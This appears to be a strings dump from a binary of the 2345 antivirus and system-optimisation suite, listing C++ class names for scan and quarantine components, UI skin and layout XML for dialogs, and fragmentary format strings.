?SetReserverParam@RCComponentOperator@RC@@QAEXK@Z
?SetUpdateAllObserver@RCComponentOperator@RC@@QAEX_N@Z
.?AVRCComponentOperator@RC@@
.?AV?$CWHRoundRectFrameHelper@VRCBkCustomMsgBox@@@@
.?AV?$CBkDialogImpl@VRCBkCustomMsgBox@@VCBkDialogView@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@4@@@
.?AV?$CWindowImpl@VRCBkCustomMsgBox@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AVRCBkCustomMsgBox@@
.?AVCBkSafeMsgBox2@@
.?AV?$CWHRoundRectFrameHelper@VCBkSafeMsgBox@@@@
.?AV?$CBkDialogImpl@VCBkSafeMsgBox@@VCBkDialogView@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@4@@@
.?AV?$CWindowImpl@VCBkSafeMsgBox@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AVCBkSafeMsgBox@@
.?AV?$CWHRoundRectFrameHelper@VCBeikeSafeSafepassSettingDlg@@@@
.?AV?$CBkDialogImpl@VCBeikeSafeSafepassSettingDlg@@VCBkDialogView@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@4@@@
.?AV?$CWindowImpl@VCBeikeSafeSafepassSettingDlg@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AVCBeikeSafeSafepassSettingDlg@@
.?AVIListScrollNotifyMsg@@
.?AV?$CWHRoundRectFrameHelper@VRCBkTopoMsgDlg@@@@
.?AV?$CBkDialogImpl@VRCBkTopoMsgDlg@@VCBkDialogView@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@4@@@
.?AV?$CWindowImpl@VRCBkTopoMsgDlg@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AVRCBkTopoMsgDlg@@
.?AV?$OperatorEventImpl@VISafeConnectionEvent@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VISafeListNotifyEvent@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIScanItemProgress@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIScanItemStatus@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIScanProgress@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIScanStatusChange@RC@@UEventData@12@@RC@@
.?AVRCOnekeyOptUIHandle@@
.?AV?$OperatorEventImpl@VIAvOperatorFailedEvent@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIAvOperatorSuccessEvent@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIAvOperatorStartEvent@RC@@UEventData@12@@RC@@
.?AVIAvOperatorFailedEvent@RC@@
.?AVIAvOperatorSuccessEvent@RC@@
.?AVIAvOperatorStartEvent@RC@@
.?AVRCAvOperatorTrustFile@RC@@
.?AVRCAvOperatorQuarantineStartUp@RC@@
.?AVRCAvOperatorCMDIMPL@RC@@
.?AV?$RCRefCountImpl1@VIOperatorCommand@RC@@@RC@@
.?AVIOperatorCommand@RC@@
.?AVRCAvOperatorQuarantineFile@RC@@
.?AVRCAvOperatorUnTrust@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorSuccessEvent@RC@@UEventData@12@@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorFailedEvent@RC@@UEventData@12@@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorStartEvent@RC@@UEventData@12@@RC@@
.?AVRCHashCalcMD5@RC@@
.?AVRCSQLiteBase@RC@@
<imghorzex name="msgboxhead" src="40200" left="0" top="-1" right="430"/>
<imgframe name="msgboxbody" src="29" top="0" left="2" crbg="F7FBFF" part="middle"/>
<imgframe name="msgboxfoot" src="29" top="0" left="2" crbg="F7FBFF" part="bottom"/>
<png name="btn_onekeyopt" src="20025" subwidth="151"/>
<png name="onekeyopt_scan" src="12004" subwidth="73"/>
<png name="onekeyopt_status" src="12003" subwidth="73"/>
<png name="sysonekeyflag" src="20029" subwidth="48"/>
<png name="onekey_animation" src="20027" subwidth="48" />
<png name="onekey_animation_big" src="20046" subwidth="48" />
<png name="examonekeyfix" src="84" subwidth="110"/>
<png name="custommsgboxclosbtn" src="40201" subwidth="41" />
<png name="custommsgokbtn" src="40202" subwidth="70" />
<png name="custommsgcancelbtn" src="40203" subwidth="70" />
<png name="custommsgwarnicon" src="40204" subwidth="40" />
<png name="onekeyflag" src="60001" subwidth="48"/>
<png name="onekeyclean" src="60002" subwidth="110"/>
<png name="onekeyright" src="60003"/>
<png name="onekeyloading" src="60004" subwidth="48"/>
<png name="onekeyscananimation" src="60005" subwidth="48"/>
<class name="mainhead" skin="main_head_bk_image" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="mainbody" skin="main_body_bk_image" font="0000" crtext="FFFFFF" crbg="FBFCFD" x-margin="0"/>
<class name="mainfoot" skin="mainbgfoot" font="0000" crtext="000000" crbg="FBFCFD" x-margin="10" y-margin="1"/>
<class name="msgboxhead" skin="msgboxhead" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="msgboxbody" skin="msgboxbody" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="msgboxfoot" skin="msgboxfoot" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="custommsgboxhead" skin="msgboxhead" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="custommsgboxbody" skin="msgboxbody" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="custommsgboxfoot" skin="msgboxfoot" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="aboutboxbody" skin="aboutboxbody" font="0000" crtext="000000" crbk="FBFCFD"/>
<class name="configboxfoot" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="softdlghead" skin="softdlghead" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="softdlgbody" skin="softdlgbody" font="0000" crtext="000000" crbg="FBFCFD" />
<class name="softdlgfoot" skin="softdlgfoot" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="dlgbody" skin="dlgbody" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="dlgfoot" skin="dlgfoot" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="linktext" font="0000" hoverfont="0000" crtext="3890dc" crhover="47a8fc" cursor="hand"/>
<class name="linktext2" crtext="3064A5" crhover="FF0000" cursor="hand"/>
<class name="linktext3" font="0002" hoverfont="0002" crtext="0051E5" crhover="FF0000" cursor="hand"/>
<class name="linktext4" crhover="ffffff" cursor="hand" crtext="ffffff"/>
<class name="linktext5" font="0500" hoverfont="0500" crtext="3c96f2" crhover="66b2ff" cursor="hand"/>
<class name="linktext6" font="0002" hoverfont="0002" crtext="3064A5" crhover="FF0000" cursor="hand" textmode="850"/>
<class name="text_hand_style" font="0000" crtext="808080" cursor="hand" />
<class name="typenormal" crtext="000000" crhover="3064A5" hoverfont="0002" cursor="hand" textmode="1"/>
<class name="typesel" crtext="ffffff" font="0000" textmode="1"/>
<class name="linkblue" crtext="3064A5" crhover="3064A5" hoverfont="0002" cursor="hand"/>
<class name="linkblue2" crtext="3064A5" crhover="3064A5" font="0004" hoverfont="0006" cursor="hand"/>
<class name="typesel2" crtext="3164A3" crhover="3164A3" font="0004"/>
<class name="linktextsoftmgr" font="0004" hoverfont="0004" crtext="000000" crhover="0064C4" textmode="8030" cursor="hand"/>
<class name="linktextignorename" font="0004" hoverfont="0004" crtext="000000" crhover="000000" textmode="8030"/>
<class name="linktextsoftmgrdesc" font="0000" hoverfont="0000" crtext="7A7A7A" crhover="7A7A7A" textmode="8030" />
<class name="linktextwhite" font="0000" hoverfont="0000" crtext="FFFFFF" crhover="AAAA00" cursor="hand" crdisabled="A0A0A0"/>
<class name="normalbtn" skin="normalbtn" font="0000" crtext="000000" textmode="25" cursor="hand" x-margin="5"/>
<class name="mark" font="0000" hoverfont="0000" crtext="2F63A5" crhover="2F63A5" cursor="hand" textmode="8030"/>
<class name="type" font="0000" hoverfont="0000" crtext="2F63A5" crhover="2F63A5" textmode="8030"/>
<class name="plugandpayinfo" crtext="C80000" textmode="26"/>
<class name="scanbtn" skin="normalbtn" crtext="3064A5" crhover="FF0000" cursor="hand"/>
<class name="examtitle" font="0404" crtext="4C4C4C"/>
<class name="examscoretitle" font="0404" crtext="666666"/>
<class name="examfunctiontitle" font="0204" crtext="4C4C4C" textmode="20" />
<class name="examblacktitle" font="0404" crtext="4C4C4C" textmode="20" />
<class name="examfunctionitem" font="0004" crtext="666666"/>
<class name="safetext" crtext="008000"/>
<class name="risktext" crtext="F99E00"/>
<class name="dangertext" crtext="EC3535"/>
<class name="spacetext" font="0004" crtext="EC3535"/>
<class name="infotext" crtext="3064A5"/>
<class name="tipscantext" textmode="25" font="0204" crtext="008000"/>
<class name="msgtext" font="0000" crtext="000000" textmode="850"/>
<class name="msgtextsingleline" font="0000" crtext="000000" textmode="874"/>
<class name="listheadernull" skin="listheaderbgnull" font="0000" crtext="000000" crbg="FBFCFD" textmode="25"/>
<class name="listheader" skin="listheaderbg" font="0000" crtext="6f6f6f" crbg="FBFCFD" textmode="25"/>
<class name="listheader2" skin="listheaderbg2" font="0000" crtext="000000" crbg="FBFCFD" textmode="25"/>
<class name="softlistheader" skin="softlistheaderbg" font="0000" crtext="6f6f6f" crbg="FBFCFD" textmode="25"/>
<class name="pluglistheader" skin="pluglistheaderbg" font="0000" crtext="000000" crbg="FBFCFD" textmode="25"/>
<class name="dlgtitle" font="0004" crtext="FFFFFF" textmode="8030"/>
<class name="dlgtitle2" font="0000" crtext="FFFFFF" textmode="8030"/>
<class name="dlglighttitle" font="0200" crtext="FFFFFF" textmode="8030"/>
<class name="virscanreporttitle" font="0504" textmode="24"/>
<class name="text_novul" font="0804" crtext="00FF00"/>
<class name="text_note" font="0000" crtext="333333"/>
<class name="text_emerg_tag" crtext="FFFFFF" crbg="FF0000"/>
<class name="text_warning_tag" crtext="FFFFFF" crbg="FFFF00"/>
<class name="text_color_red" crtext="FF0000"/>
<class name="text_color_yellow" crtext="FFFF00"/>
<class name="text_color_green" crtext="00FFFF"/>
<class name="leftbtnsel" skin="leftbtnsel" textmode="25" font="0004" crtext="000000"/>
<class name="settingsubtitle" font="0004" crtext="3C96F2" crbg="FCFEFF" x-margin="10"/>
<class name="boldnum_right_red" font="0004" textmode="02" crtext="ff0000"/>
<class name="cancelsafe" crtext="6b6b6b"/>
<class name="defaultexamcrttxt" crtext="101010"/>
<class name="linktextright" font="0002" hoverfont="0002" crtext="3064A5" crhover="FF0000" cursor="hand" textmode="26"/>
<class name="endellipsisurl" textmode="8024" font="0002"/>
<class name="kwsdlgtitle" font="0004" crtext="0E5B01"/>
<class name="kwsdlghead" skin="kwsdlghead" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="kwsdlgbody" skin="kwsdlgbody" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="kwsdlgfoot" skin="kwsdlgfoot" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="kwsswitchdlghead" skin="kwsswitchdlghead" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="kwsswitchdlgbody" skin="kwsswitchdlgbody" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="kwsswitchdlgfoot" skin="kwsswitchdlgfoot" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="kwsswitchdlgRedFont" font="0104" crtext="D00300"/>
<class name="kwsswitchdlgBlackFont" font="0104" crtext="000000"/>
<class name="kwsswitchdlgGrayFont" font="0100" crtext="616161"/>
<class name="clearbk" skin="clear_bk" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0"/>
<class name="softmgrtopbk" skin="softtopbk" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0"/>
<class name="softmgrbottombk" skin="softbottombk" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0"/>
<class name="softmgrdowndetail" skin="downdetail" font="0000" crtext="000000" crbg="FFFFFF" y-margin="6" x-margin="10" />
<class name="linkcenter" crtext="3064A5" crhover="FF0000" cursor="hand" textmode="25" />
<class name="loadtip" font="0000" crtext="666666"/>
<class name="softmgrdetailheader" skin="detail_header" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0"/>
<class name="sysopt_listbk" skin="sysopt_list_headerbk" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="sysopt_history_title" skin="sysopt_history_title" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="virusscaninglistbk" skin="virs_scaning_list" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="virusscanedlistbk" font="0000" crtext="000000" crbg="FFFFFF"/>
<class name="virusscanedlistsubtitle" font="0000" crtext="000000" crbg="F5F5F5"/>
<class name="loadinfo_dlgbk" skin="loadinfo_dlgbk" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="autoopt_noitem_cl" skin="autoopt_noitem" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="softmgr_uninstall_dlg" skin="softmgr_uninstall_dlg_bg" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0" y-margin="0"/>
<class name="btnonekey" skin="btnonekey" cursor="hand"/>
<class name="examscorenum" font="2405" crtext="FF0000"/>
<class name="examscoretext" font="1005" crtext="FF0000"/>
<class name="softonektopbg" skin="softonektopbg" x-margin="1" y-margin="1" crtext="ffffff"/>
<class name="onekeytopicon" skin="onekeytopicon" />
<class name="onekeytopicon2" skin="onekeytopicon2" />
<class name="onekeyseldirbg" skin="onekeyseldirbg" />
<class name="onekeyinstingbg" skin="onekeyinstingbg" crtext="ffffff"/>
<class name="onekeyseldirbgsanjiao" skin="onekeyseldirbgsanjiao" />
<class name="onekeyinstingsanjiao" skin="onekeyinstingsanjiao" />
<class name="onekeybegininst" skin="onekeybegininst" cursor="hand"/>
<class name="ignore_title" font="0094" crtext="3064A5"/>
<class name="sysopt_desc" font="0000" hoverfont="0000" crtext="616161" crhover="616161" textmode="8030"/>
<class name="sysopt_red_bg" skin="sysopt_red_bg" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="sysopt_blue_bg" skin="sysopt_blue_bg" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="aboutlinktext" font="0000" hoverfont="0000" crtext="3890dc" crhover="47a8fc" cursor="hand"/>
<class name="softmgrofficiallinktext" font="0200" hoverfont="0200" crtext="3890dc" crhover="3890dc" cursor="hand"/>
<class name="tabmainbk" skin="tabmainbk" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="richtext_trojan_big" font="0204" crtext="4C4C4C" textmode="20" spacing="5" linespacing="20" />
<class name="richtext_trojan_small" font="0000" crtext="808080" textmode="20" spacing="5" linespacing="20" />
<class name="btn_blue_text" crtext="3C96F2" crhover="66B2FF" cursor="hand" />
<class name="richtext_trojan_detail" font="0000" crtext="808080" textmode="20" spacing="5" linespacing="20" />
<class name="balloon" font="0000" crtext="000000" crbg="000000"/>
<class name="trashlinktext" font="0000" hoverfont="0000" crtext="3890dc" crhover="47a8fc" cursor="hand"/>
<s id="2">%d
<s id="12">%d
<s id="13">%d
<s id="14">%d
<s id="17"><button id=%d pos="%d,0,%d,-0" class=normalbtn>%s</button></s>
<s id="26"><dlg pos="|-%d,0,|%d,-0">%s</dlg></s>
<s id="42">%s
<s id="45">%d<b></b>
<s id="46">%d<b></b>
<s id="47">%d<b></b>
<s id="48">%d<b></b>
<b><c color=EC3535>%d</c></b>
<b/>%d<b/>
<a id=%d>
<s id="93">%s
<s id="99">%s
<s id="105">%s %d.%d</s>
<![CDATA[%s
<s id="502">%s
<s id="503">%s
%s]]>
<s id="1003"><![CDATA[<URL>
</URL>]]></s>
%s %s</s>
(%d)]]></s>
<c color=3f82d1><b>%d</b></c>
</c><b><c color="DC0000">%d</c></b><c color="DC0000">
</c><b><c color="F35B10">%d</c></b><c color="F35B10">
</c><b><c color="21AE47">%d</c></b><c color="21AE47">
</c><b><c color="F35B10">%d</c></b><c color="666666">%s
</c><b><c color="F35B10">%d</c></b><c color="666666">
(%d)</EX>]]></s>
<s id="1408"><![CDATA[<b><c color="%s">%s</c></b>]]></s>
</c><b><c color="F35B10">%s</c></b><c color="4c4c4c">
</c><b><c color="F35B10">%s</c></b><c color="666666">
%d</s>
</c><b><c color="F35B10">%d</c></b><c color="6d6d6d">
(%d)</s>
<s id="2049">%s
<b><c color=FF0000> %d </c></b>
<c color=FF0000>%d</c>
0xX)</s>
[%s]</s>
<s id="2540">%s
%d.%d.%d.%d</s>
%s/%s</s>



517892657
<s id="2711">%d
<b><c color=FF0000>%d</c></b>
<s id="2716">%s
<b><c color=FF0000> %d </c></b>
%s</s>
<s id="4055">%d</s>
<s id="4061">%s
<b><c color="cd0000"> %d </c></b>
</c><b><c color="ff7b21"> %d </c></b><c color=4c4c4c>
</c><b><c color="ff7b21">%d</c></b><c color=4c4c4c>
<b><c color="3064A5"> %d </c>
<b><c color="FF7F24"> %d </c></b>
</c><b><c color="cd0000"> %d </c></b><c color=808080>
<s id="4093">%s</s>
<![CDATA[(%d)
</c><b><c color="4c4c4c"> %d </c></b><c color=4c4c4c>
</c><b><c color="dc0000"> %d </c></b><c color=4c4c4c>
</c><c color=3c96f2>%s</c>]]></s>
</c><c color=3c96f2>%d</c><c color=808080>
(%d)</a> <a id=2>
(%d)</a> <a id=3>
(%d)</a> <a id=4>
(%d)</a>]]></s>
</c><c color="DC0000">%d</c><c color=3D454D>
</c><c color=808080>%d</c><c color=808080>
</c><c color=808080>%s</c>
%s/s %s/%s]]>
</c><c color=DC0000>%d</c><c color=3D454D>
<c color=FF0000><b>%d</b></c>
<![CDATA[%d
<![CDATA[<text pos="0,10" class="text_color_red">%d</text><text pos="20,10">
<text pos="0,30" class="text_color_red">%d</text><text pos="20,30">
<s id="5081">%d
<s id="5091"><![CDATA[<html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><title>2345
-%s</title></head>]]></s>
<s id="5097"><![CDATA[<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td><td><a href="%s">%s</a></td></tr>]]></s>
<s id="5104">Windows XP
(KB%d)</s>
<s id="5116">%s,
%x</s>
</c><c color=F35B10>%d</c><c color=3D454D>
</c><c color=F35B10>%s</c>
</c><c color=F35B10><b>%d</b></c><c color=3D454D>
<s id="5165">Windows
%s]]></s>
<URL>
</URL>
) <URL>
%s</EX>]]></s>
%s</EX> <URL>
] %s</s>
%s]]></s>
</EX> <URL>
<EX> %d </EX>
<s id="6088">%s
</EX> <URL>
<s id="6138">%s</s>
<b><c color=EC3535>%s</c></b>
<s id="8001"><b>%s</b> (
:%s)</s>
<b><c color=3064A5>%s</c></b>
<b><c color=3064A5>%s</c></b>
<b><c color=EC3535>%s</c></b>
<s id="8005"><b>%s</b></s>
<b><c color=EC3535>%d</c></b>
<b><c color=EC3535>%s</c></b> </s>
<s id="8020">2345SoftUninstaller.dll
%s: %s</s>
: %s</s>
<s id="8030">%d
<s id="8034">%d
%.2f%% %s/s</s>
<s id="8036">%d
<s id="8128"><b>%s</b> (
<b><c color=EC3535>%d</c></b>
<s id="10007">( <b><c color=EC3535>%d</c></b>
</b> <b><c color=EC3535>%d</c></b> <b>
</c> <b><c color=EC3535>%d</c></b> <c color=7C7C7C>
<s id="10010"><b>%s</b></s>
<b><c color=E80405>%d</c></b>
<b><c color=E80405>%d</c></b>
<s id="20020">%d
</c><c color="F35B10">%s</c><c color="808080">
</c><c color="F35B10">%d</c><c color="4C4C4C">
</c><c color="5EB6F8"> %d </c><c color="666666">
</text><text crtext="FF7B21" pos="120,20">
</c><c color=F35B10>%d</c><c color=808080>
</c><c color=F35B10>%s</c><c color=808080>
</c><c color=F35B10>%s</c><c color=3D454D>
<c color="ff7b21">%s</c>
<s id="50007"><![CDATA[<c color=3c96f2>%d</c>
<c color=ff7b21>%d</c>
<s id="50010"><![CDATA[<c color=ff7b21>%d</c>
<c color=ff7b21>%g</c>%s]]></s>
<s id="50011"><![CDATA[<c color=ff7b21>%d</c>
<s id="50017"><![CDATA[<c color=50ad21>%d</c>
" width="full" height="full" crtext="000000">
<header class="msgboxhead" width="full" height="32">
<body class="msgboxfoot" width="full" height="full">
<header class="msgboxhead" width="full" height="30">
<text id="60004" class="dlgtitle" pos="25,8">%str1%</text>
<footer class="msgboxfoot" width="full" height="45">
<body class="msgboxbody" width="full" height="full">
<text id="60006" pos="70,20,-0,-0" class="msgtext"/>
<dlg show="0" id="60016" pos="70,20,-0,-0" class="msgtext"/>
<header class=msgboxhead width=full height=32>
<icon src=101 pos="5,9"/><text class=dlgtitle pos="25,10">%str1%</text><imgbtn id=60001 class=linkimage skin=closeonlybtn pos="-43,0"/>
<footer class=msgboxfoot width=full height=45>
<body class=msgboxbody width=full height=full>
<icon src=101 pos="5,9"/><text class=dlgtitle pos="25,10">%str1% -
<text pos="20,142" crtext="FF0000">
<text id="304" pos="90,30" crtext="3D454D" font="0204" show="1">
<richtext id="305" pos="90,26,500,50" crtext="3D454D" crbg="F2F6FA" defaultfont="0204" class="addspace" show="0">
<richtext id="306" pos="90,50,500,80" crtext="808080" crbg="F2F6FA" class="addspace" show="0">
<text id="352" pos="90,26" crtext="3D454D" show="0">
<text id="321" pos="180,175" font="0404" crtext="3D454D" show="1">
<text pos="68,24" crtext="3D454D" font="0004">
<text id="335" pos="68,44" crtext="808080" >2014-02-19</text>
<richtext id="700" pos="255,182,620,230" defaultfont="0204" crtext="3D454D" crbg="FCFEFF" show="0" class="richtext">
<text id="338" pos="255,182" crtext="3D454D" font="0204" show="0">
<text pos="255,206" crtext="808080" font="0000">
<richtext id="333" pos="255,254,600,290" crtext="3D454D" crbg="FCFEFF" class="addspace" show="0">
<header class="msgboxhead" width="full" height="30">
<richtext id="201" pos="22,5,400,28" crtext="3D454D" class="addspace" show="1">
<dlg pos="0,28,-0,-0" crbg="FCFEFF" crtext="3D454D" show="1">
<realwnd id="20010" ctrlid="20010" pos="0,0,-0,-0" crtext="3D454D"/>
<richtext id="203" pos="22,5,400,28" crtext="3D454D" class="addspace" show="1">
<dlg pos="0,28,-0,-46" crbg="FCFEFF" crtext="3D454D" show="1">
<realwnd id="20020" ctrlid="20010" pos="0,0,-0,-0" crtext="3D454D"/>
<text id="213" pos="26,-34" crtext="808080">
<richtext id="205" pos="22,5,400,28" crtext="3D454D" class="addspace" show="1">
<realwnd id="20030" ctrlid="20010" pos="0,0,-0,-0" crtext="3D454D"/>
<richtext id="207" pos="22,5,400,28" crtext="3D454D" class="addspace" show="1">
<realwnd id="20040" ctrlid="20010" pos="0,0,-0,-0" crtext="3D454D"/>
<text pos="20,40" crtext="#101010">
<text pos="20,60" crtext="#101010">
<text pos="20,80" crtext="#101010">
<text pos="20,165" crtext="#101010">
<text pos="20,210" crtext="#101010">
Windows
<text pos="20,230" crtext="#101010">
<body class="msgboxbody" width="full" height="full">
<dlg pos="0,0,-0,-0" crbg="FCFEFF" crtext="4C4C4C">
<text id="1500" pos="45,44" crtext="4C4C4C">
%str1%
<text id="1501" pos="45,69" crtext="4C4C4C">
<text id="1502" pos="45,94" crtext="4C4C4C">
<text id="1503" pos="45,45" crtext="4C4C4C">
<text id="1504" pos="45,45" crtext="4C4C4C">
<text id="1505" pos="45,44" crtext="4C4C4C">
<radio id="108" group="setting_scan_operation" pos="26,45">
<text id="1506" pos="45,69" crtext="4C4C4C">
<radio id="109" group="setting_scan_operation" pos="26,65">
<text id="1507" pos="45,104" crtext="4C4C4C">
<text id="1508" pos="45,129" crtext="4C4C4C">
<text id="1509" pos="45,44" crtext="4C4C4C">
<text id="1510" pos="45,69" crtext="4C4C4C">
<text id="1511" pos="62,125" crtext="4C4C4C">
<header class="msgboxhead" width="full" height="32">
<text id="60004" class="dlgtitle" pos="25,10">%str1%</text>
<body class="msgboxfoot" width="full" height="full">
<text id=102 pos="0,0,-0,-0" class=virscanreporttitle>
<text class="dlgtitle" pos="25,10">%str1%</text>
<text pos="20,14" class=linktext href="hXXp://VVV.2345.com">
<header class="msgboxhead" width="full" height="32">
<body class="msgboxfoot" width="full" height="full">
<text id=840 pos="100,5" crtext=cccccc>|</text>
<text id=840 pos="100,5" crtext=cccccc>|</text>
<body class="msgboxbody" width="full" height="310" >
<footer class="msgboxfoot" width="full" height="45">
<text pos="26,15" crtext="808080">
<footer class=msgboxfoot width=full height=3>
<text class="dlgtitle" pos="25,6">%str1%
<dlg pos="0,0,-0,-10" crtext="000000">
<text pos="0,0" crtext="009900" font="0200">
<text pos="0,25" crtext="FF0000">
<text pos="0,0" crtext="FF9900" font="0200">
<text pos="0,0" crtext="FF0000" font="0200">
<text id="304" pos="50,0" class="boldtext" crtext="808080">
<text id="305" pos="50,28" crtext="808080">
Windows
<text id="273" pos="-80,14" crtext="009900" show="0">
<text id="269" pos="-80,14" crtext="ff0000">
<text id="306" pos="50,0" class="boldtext" crtext="808080">
<text id="307" pos="50,28" crtext="808080">
<text id="274" pos="-80,14" crtext="009900" show="0">
<text id="270" pos="-80,14" crtext="ff0000">
<text id="308" pos="50,0" class="boldtext" crtext="808080">
<text id="309" pos="50,28" crtext="808080">
<text id="275" pos="-80,14" crtext="009900" show="0">
<text id="271" pos="-80,14" crtext="ff0000">
<text id="310" pos="50,0" class="boldtext" crtext="808080">U
<text id="311" pos="50,28" crtext="808080">
<text id="276" pos="-80,14" crtext="009900" show="0">
<text id="272" pos="-80,14" crtext="ff0000">
<header class="msgboxhead" height="32">
<body class="msgboxfoot">
<text id=104 pos="80,30,-180,50" class=endellipsistext crtext=777777/>
<text pos="0,0,80,-0" class=centertext crtext=00AA00>
<text pos="0,0,80,-0" class=centertext crtext=FF0000>
*.xxx.com</text>
<footer class="msgboxfoot" width="full" height="5" />
<body width="full" height="full" class="msgboxbody">
<text id="7" pos="-50,32,-0,47" crtext="3163A6" class="mark" show="0">
<text id="33" pos="90,33" crtext="3163A6" class="mark"></text>
<text id="101" crtext="3165A0" font="0004" pos="34,6" />
<text pos="60,52" crtext="6d6d6d">
<header class=msgboxhead width=full height=30>
<text id=60004 class=dlgtitle pos="25,10">%str1%</text>
<footer class=msgboxfoot width=full height=55>
<text id="8505" pos="150,32" crtext="3163A6" class="mark">
<text id="8508" pos="-80,20,-0,37" crtext="3163A6" class="mark">
<footer class="msgboxfoot" width="full" height="2">
<text id="6" pos="120,18,173,32" class="centertext" crtext="FF0000"></text>
<footer class=msgboxfoot width=full height=2>
<text pos="10,13" class="boldtext" crtext="3064A5">
<text id ="460" pos="260,13" crtext="FF0000" show ="0">
<text id="458" pos="210,-25" crtext="FF0000" show ="0">
<text id="" pos="310,-25" crtext="ff9900">
<text class="dlgtitle" pos="25,10">%str1% -
<footer class="msgboxfoot" width="full" height="40">
<footer class=msgboxfoot width=full height=50>
<text pos="35,40" class="boldtext" crtext="3064A5">
<text pos="35,145" class="boldtext" crtext="3064A5">
<text pos="30,10" crtext="9A9A9A">
<text pos="15,10" crtext="9A9A9A">Windows
<text pos="15,35" crtext="9A9A9A">
<text pos="70,20,-0,-0" class="msgtext">2345
<text pos="70,44,-0,-0" class="msgtext">
<text pos="70,68,-0,-0" class="msgtext">
<text pos="70,20,-0,-0" class="msgtext">360
<text pos="286,68,-0,-0" class="msgtext">
<text pos="70,20,-0,-0" class="msgtext">
<text pos="70,56,-0,-0" class="msgtext">
<text pos="286,56,-0,-0" class="msgtext">
<text pos="70,20,-0,-0" class="msgtext">QQ
<!--<footer class="msgboxfoot" width="full" height="45">
<text pos="50,76" crtext="1185EA" font="0800">2345
<text pos="50,105" crtext="1185EA" font="0000">
<text id="52" pos="50,188" crtext="828384" font="0000">2345
<text pos="50,205" crtext="828384" font="0000">Copyright(c)2015 2345.com,All Rights Reserved.</text>
<text id="50" pos="50,230" class="aboutlinktext">safe.2345.com</text>
<header class="custommsgboxhead" width="full" height="30">
<body class="custommsgboxbody" width="full" height="full">
<img id="100002" pos="30,25" skin="custommsgwarnicon" sub="0"/>
<dlg id="100003" pos="0,0" font="0200" crtext="FF0000"></dlg>
<imgbtn id="100005" class="linkimage" skin="custommsgokbtn" pos="|-75,11" show="0"/>
<imgbtn id="100006" class="linkimage" skin="custommsgcancelbtn" pos="|5,11" show="0"/>
<img pos="26,28" skin="custommsgwarnicon" sub="0"/>
<text crtext="4c4c4c" font="0000" pos="82,39">
<radio id="500" group="operation" pos="35,-80,268,-64">
<radio id="501" group="operation" pos="35,-56,216,-40">
<dlg pos="0,0,-0,-0" crbg="FBFCFD" crtext="000000">
<text id="1" crtext="3165A0" font="0004" pos="26,6" />
<text id="33" pos="13,33" crtext="3163A6" class="mark"></text>
<text class=dlgtitle pos="25,10">%str1% -
<body class="msgboxbody" width="full" height="full">
<img pos="0,3,15,-2" skin="urlmon_tip"/>
<footer class="msgboxfoot" width="full" height="3"/>
<text id="1900"pos="10,13" class="boldtext" crtext="3064A5"></text>
<text id="1901" pos="10,-25" crtext="FF0000" show ="0">
<dlg pos="10,60,-10,-10" crtext="909090">
<footer class="msgboxfoot" width="full" height="40" crbg="DFE9F0">
<text id="8277" pos="0,0,-0,-0" class="centertext" crtext="ffffff">5</text>
<text pos="18,2" font="0000" crtext="ffffff">
<dlg pos="0,6,-0,-1" crtext="000000">
<tabctrl id="2001" tabwidth="131" tabalign="left" tabheight="37" tabskin="tableft" splitterskin="tableftsplitter" tabspacing="20" tabpos="20" framepos="10" pos="5,0,-0,-0" text-x="-10" crtext1="FFFFFF">
<text pos="110,15" crtext="009900" font="0204">
<text pos="110,35" crtext="FF0000">
<text pos="110,15" crtext="FF9900" font="0204">
<text pos="110,15" crtext="FF0000" font="0204">
